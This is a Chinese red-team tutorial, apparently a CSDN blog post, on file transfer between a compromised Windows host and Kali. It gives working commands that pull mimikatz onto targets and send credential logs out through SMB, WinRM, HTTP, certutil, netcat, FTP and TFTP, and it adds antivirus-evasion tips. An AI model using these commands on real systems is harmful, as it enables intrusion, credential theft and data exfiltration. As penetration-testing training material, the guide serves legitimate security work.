// 红队渗透 · 2025-01-31

渗透测试常见文件传输方法:Windows 主机与 Kali 虚拟机互传篇

文件传输是渗透测试过程中的核心操作之一,无论是向目标主机上传渗透工具(如 mimikatz.exe),还是从目标主机下载敏感数据(如 mimikatz.log、密码哈希文件),都需要可靠、高效且不易被拦截的传输方式。本文聚焦 Windows 主机与本地 Kali 虚拟机之间的文件传输场景,整合主流传输方法,包含详细操作命令、适用场景及关键注意事项,助力渗透测试人员快速完成文件交互。


一、Windows → Kali 虚拟机传输方法

此类场景主要用于从已控制的 Windows 目标主机中提取敏感文件(如日志、凭证、配置文件等)到 Kali 攻击机,需优先选择目标主机自带工具(减少依赖)、流量特征不明显的传输方式。

1. SMB 共享传输(推荐,兼容性强)

SMB 是 Windows 原生支持的文件共享协议,通过在 Kali 搭建临时 SMB 服务器,实现 Windows 文件的主动上传,适用于大部分 Windows 版本(Win7/10/11/Server)。

操作步骤:

  1. Kali 端启动 SMB 服务器(需安装 impacket 工具,默认集成于 Kali):

impacket-smbserver test . -smb2support -username kourosh -password kourosh

参数说明:

  • test:共享文件夹名称(可自定义);
  • .:共享当前目录(文件将保存到 Kali 执行命令的目录);
  • -smb2support:启用 SMB2 协议(兼容新版 Windows);
  • -username/-password:设置访问凭证(避免匿名访问被拦截)。
  1. Windows 端连接 SMB 共享并上传文件:

# 映射 SMB 共享为本地磁盘(M: 为映射盘符,可自定义)
net use m: \\Kali_IP\test /user:kourosh kourosh

# 上传文件到 SMB 共享目录
copy mimikatz.log m:\

注意:若提示“系统错误 53”,需检查 Kali 与 Windows 网络连通性(关闭双方防火墙或放行 445 端口)。

2. RDP 共享目录传输(适用于已获取 RDP 权限场景)

若已获取 Windows 主机的 RDP 登录凭证(如用户名/密码、哈希传递),可通过 RDP 连接时挂载 Kali 本地目录,实现文件直接互传,无需在目标主机额外执行命令,隐蔽性较强。

方法 1:使用 xfreerdp(Kali 默认自带,功能强大)


# Kali 端启动 RDP 连接并挂载本地目录
xfreerdp /cert-ignore /compression /auto-reconnect /u:offsec /p:lab /v:192.168.212.250 /w:1600 /h:800 /drive:test,/home/kali/Documents/pen-200

参数说明:

  • /cert-ignore:忽略证书验证(避免因证书问题无法连接);
  • /u:/p::Windows 主机的 RDP 登录凭证;
  • /v::Windows 主机 IP;
  • /drive:test,/home/kali/…:将 Kali 的 /home/kali/Documents/pen-200 目录挂载为 Windows 端的 test 共享目录。

Windows 端上传文件:


copy mimikatz.log \\tsclient\test\mimikatz.log

说明:\tsclient\test 是 RDP 挂载目录的默认路径,test 对应 Kali 端设置的共享名称。

方法 2:使用 rdesktop(轻量 RDP 客户端)


# Kali 端启动 RDP 连接并挂载本地目录
rdesktop -z -P -x m -u offsec -p lab 192.168.212.250 -r disk:test=/home/kali/Documents/pen-200

参数说明:

  • -r disk:test=/path/:挂载 Kali 目录为 Windows 共享磁盘;
  • -z:启用压缩(提升传输速度);
  • -x m:中等画质(平衡速度与显示效果)。

Windows 端上传命令与 xfreerdp 一致:


copy mimikatz.log \\tsclient\test\mimikatz.log

3. Impacket 工具集传输(适用于已获取管理员权限)

Impacket 工具集(如 psexec、wmiexec)是渗透测试常用的 Windows 远程控制工具,内置文件上传(lput)和下载(lget)功能,无需单独搭建服务,直接通过远程命令执行完成文件传输。

关键注意事项:

默认情况下,通过 lput/lget 传输的文件会存储在 Windows 主机的 C:\Windows 目录(ADMIN$ 共享目录),需确保当前权限为管理员(否则无法访问该目录)。

操作步骤:

  1. Kali 端通过 wmiexec 连接 Windows 主机(获取交互式命令行):

wmiexec.exe kourosh:kourosh@192.168.212.250
  1. 上传文件到 Windows 主机(lput):

C:\Windows\system32> lput mimikatz.exe
[*] Uploading mimikatz.exe to ADMIN$/
C:\Windows\system32> cd C:\windows
C:\Windows> dir /b mimikatz.exe  # 验证上传成功
mimikatz.exe
  1. 下载文件到 Kali 主机(lget):

C:\Windows> lget mimikatz.log
[*] Downloading ADMIN$\mimikatz.log

4. Evil-winrm 传输(适用于 Windows 远程管理服务开启场景)

WinRM(Windows Remote Management)是 Windows 原生的远程管理服务,默认在 Windows Server 2012+ 中启用,Evil-winrm 是 Kali 专门用于连接 WinRM 的工具,支持文件上传/下载,操作简洁。

操作步骤:

  1. Kali 端连接 Windows 主机的 WinRM 服务:

evil-winrm -u kourosh -p kourosh -i 192.168.212.250
  1. 上传文件到 Windows 主机:

upload mimikatz.exe C:\windows\tasks\mimikatz.exe
  1. 下载文件到 Kali 主机:

download mimikatz.log /home/kali/Documents/pen-200

注意:WinRM 默认端口为 5985(HTTP)/5986(HTTPS),需确保目标主机开放对应端口。

二、Kali → Windows 主机传输方法

此类场景主要用于向 Windows 目标主机上传渗透工具(如 mimikatz.exe、后门程序),需优先选择“无文件依赖”(利用 Windows 自带工具)的传输方式,降低被杀毒软件(AV)拦截的风险。

1. Python HTTP 服务器传输(快速、无依赖)

利用 Kali 内置的 Python 环境搭建临时 HTTP 服务器,Windows 端通过自带工具(如 PowerShell、certutil)下载文件,适用于目标主机可访问 Kali 网络的场景,操作简单且无额外依赖。

操作步骤:

  1. Kali 端启动 HTTP 服务器:

# Python3(Kali 默认版本)
python3 -m http.server 80

# Python2(若系统为旧版本 Kali)
python -m SimpleHTTPServer 80

说明:默认共享当前目录下的所有文件,端口可自定义(如 8080、443,80 端口兼容性最强,不易被拦截)。

  1. Windows 端下载文件:

方法 1:PowerShell 下载(推荐,隐蔽性强)


powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://Kali_IP/mimikatz.exe', 'C:\windows\tasks\mimikatz.exe')"

方法 2:certutil 下载(适用于 PowerShell 被禁用场景)


certutil -urlcache -f http://Kali_IP/mimikatz.exe C:\windows\tasks\mimikatz.exe

参数说明:-urlcache -f:强制下载并覆盖本地缓存(避免下载失败)。

2. Base64 编码传输(规避杀软拦截、跨平台通用)

部分杀毒软件会对可执行文件(.exe、.dll)的传输过程进行拦截,通过 Base64 编码将文件转换为文本格式传输,可绕过大部分特征检测,传输完成后再解码还原文件,适用于传输可执行文件或敏感文本文件。

操作步骤:

  1. Kali 端对文件进行 Base64 编码:

base64 -w0 < mimikatz.exe > mimikatz.exe.b64

参数说明:-w0:禁止换行(确保编码后的文本为单行,便于复制或传输)。

  1. 传输编码文件:通过上述 HTTP 服务器、SMB 等方式,将 mimikatz.exe.b64 传输到 Windows 主机。

  2. Windows 端解码还原文件:


certutil -decode mimikatz.exe.b64 mimikatz.exe

补充:若需从 Windows 向 Kali 传输编码文件,Windows 端编码命令:


certutil -encode mimikatz.log mimikatz.log.b64

Kali 端解码命令:


base64 -d mimikatz.log.b64 > mimikatz.log

3. C2 框架传输(适用于长期控制场景)

若已通过 Metasploit、Cobalt Strike 等 C2 框架获取目标主机的会话,可直接利用框架自带的文件上传/下载功能,无需单独部署传输服务,且流量经过加密,隐蔽性极强。

示例:Metasploit 传输文件


# 上传文件到目标主机
upload /home/kali/mimikatz.exe C:\windows\tasks\

# 下载文件到 Kali 主机
download C:\windows\mimikatz.log /home/kali/Documents/

三、跨平台通用传输方法(Linux ↔ Windows 均适用)

1. Netcat(nc)传输(简单、快速,适用于小文件)

Netcat 被称为“网络瑞士军刀”,支持 TCP/UDP 数据传输,可实现跨平台文件互传,需确保目标主机安装 nc(Kali 默认自带,Windows 需提前上传 nc.exe 或使用自带的 ncat)。

操作步骤:

  1. 接收端(先启动,监听端口):

# Kali 作为接收端(下载 Windows 文件)
nc -nlvp 4444 > mimikatz.log

# Windows 作为接收端(下载 Kali 文件)
nc.exe -nlvp 4444 > mimikatz.exe

参数说明:-n:不进行 DNS 解析;-l:监听模式;-v:显示详细信息;-p:指定监听端口。

  1. 发送端(后连接,传输文件):

# Windows 作为发送端(上传文件到 Kali)
nc.exe -nv Kali_IP 4444 < mimikatz.log

# Kali 作为发送端(上传文件到 Windows)
nc -nv Windows_IP 4444 < mimikatz.exe

2. FTP 传输(适用于大文件,支持断点续传)

FTP 是传统的文件传输协议,支持大文件传输和断点续传,需在 Kali 搭建临时 FTP 服务器,Windows 端通过自带的 ftp 命令或图形化工具连接传输。需注意:传输可执行文件时需设置为二进制模式,否则会导致文件损坏。

操作步骤:

  1. Kali 端搭建临时 FTP 服务器:

# 安装 pyftpdlib(轻量 FTP 服务器库)
apt-get install python-pyftpdlib -y

# 启动匿名 FTP 服务器(-w 表示可写)
python -m pyftpdlib -p 21 -w
  1. Windows 端连接 FTP 并传输文件:

# 连接 FTP 服务器
ftp Kali_IP

# 登录(匿名登录,用户名输入 anonymous,密码任意)
Name (Kali_IP:Administrator): anonymous
Password:

# 传输可执行文件(必须设置为二进制模式)
binary

# 下载文件(从 Kali 到 Windows)
get mimikatz.exe C:\windows\tasks\mimikatz.exe

# 上传文件(从 Windows 到 Kali)
put mimikatz.log mimikatz.log

# 退出 FTP
quit

关键注意:若传输文本文件(如 .log、.txt),可设置为 ASCII 模式(ascii 命令);传输可执行文件、压缩包等二进制文件时,必须设置为二进制模式(binary 命令),否则文件会因格式错误无法使用。

3. TFTP 传输(适用于小文件,无认证)

TFTP 是简单文件传输协议,无身份认证机制,传输速度快,适用于小文件(如配置文件、小型工具)的快速传输,需在 Kali 启动 TFTP 服务,Windows 端通过自带的 tftp 命令连接。

操作步骤:

  1. Kali 端启动 TFTP 服务器:

# 安装 atftpd(TFTP 服务器)
apt-get install atftpd -y

# 启动 TFTP 服务
service atftpd start

# 查看服务状态(确保启动成功)
service atftpd status
  1. Windows 端传输文件:

# 下载文件(从 Kali 到 Windows)
tftp -i Kali_IP GET mimikatz.exe C:\windows\tasks\mimikatz.exe

# 上传文件(从 Windows 到 Kali)
tftp -i Kali_IP PUT mimikatz.log mimikatz.log

注意:Windows 部分版本默认未启用 TFTP 客户端,需手动启用:


pkgmgr /iu:"TFTP"

4. SSH 传输(适用于目标主机安装 SSH 服务场景)

若目标 Windows 主机安装了 SSH 服务(如 OpenSSH Server),可通过 Kali 自带的 scp 命令实现文件加密传输,安全性高,适用于长期控制且需保障传输安全的场景。

操作步骤:


# 上传文件到 Windows 主机(Kali → Windows)
scp /home/kali/mimikatz.exe kourosh@Windows_IP:/C:/windows/tasks/

# 下载文件到 Kali 主机(Windows → Kali)
scp kourosh@Windows_IP:/C:/windows/mimikatz.log /home/kali/Documents/

说明:Windows 端的路径格式需转换为“/C:/路径/”,用户名/密码为 Windows 主机的 SSH 登录凭证。

四、渗透传输优化技巧

1. 压缩可执行文件(减少体积,规避拦截)

使用 UPX 工具压缩可执行文件,可大幅减少文件体积(如将 1MB 的 exe 文件压缩到 300KB 左右),降低传输时间和被杀软检测的概率。


# Kali 端压缩文件(UPX 默认集成于 Kali)
upx -9 mimikatz.exe

参数说明:-9:最高压缩级别(压缩比最大)。

2. 端口选择技巧

优先使用常见端口(如 80、443、53)传输文件,此类端口通常不会被防火墙拦截(因涉及正常网页、DNS 服务),而 4444、8080 等渗透常用端口易被安全设备标记。

3. 流量加密(提升隐蔽性)

若传输敏感数据,优先选择加密传输方式(如 SSH、HTTPS、C2 框架加密流量),避免明文传输被网络监听工具捕获。

五、常见问题排查

1. 传输失败:网络不通

  • 检查 Kali 与 Windows 主机的 IP 是否在同一网段,可通过 ping 命令测试连通性;
  • 关闭双方防火墙(Windows 关闭 Windows Defender 防火墙,Kali 关闭 ufw:ufw disable);
  • 确认传输所用端口未被占用或拦截(如 445、139 端口被防火墙屏蔽会导致 SMB 传输失败)。

2. 可执行文件传输后无法运行

  • 检查传输模式:FTP 传输时是否误将二进制文件用 ASCII 模式传输,需重新用 binary 模式传输;
  • 检查文件完整性:可通过 MD5 校验(Kali:md5sum 文件名;Windows:certutil -hashfile 文件名 MD5)确认传输前后文件哈希值一致;
  • 检查权限:目标文件路径是否有写入/执行权限(如 C:\windows\tasks 目录默认管理员可写)。

3. 被杀毒软件拦截

  • 改用 Base64 编码传输;
  • 用 UPX 压缩文件后传输;
  • 更换传输方式(如从 HTTP 改为 SMB 或 RDP 共享传输);
  • 使用免杀工具(如 Veil、TheFatRat)对可执行文件进行免杀处理后再传输。

总结

渗透测试中的文件传输需根据实际场景(如网络连通性、目标主机权限、杀软防护级别)选择合适的方法:无依赖场景优先使用 Python HTTP + PowerShell/certutil;需隐蔽性优先选择 RDP 共享、C2 框架;跨平台或规避杀软优先选择 Base64 编码;大文件优先选择 FTP;小文件快速传输优先选择 Netcat/TFTP。同时,需注意传输模式、端口选择和文件完整性校验,确保文件传输高效、安全且不被拦截。

原文 https://blog.csdn.net/2301_79518550/article/details/145405670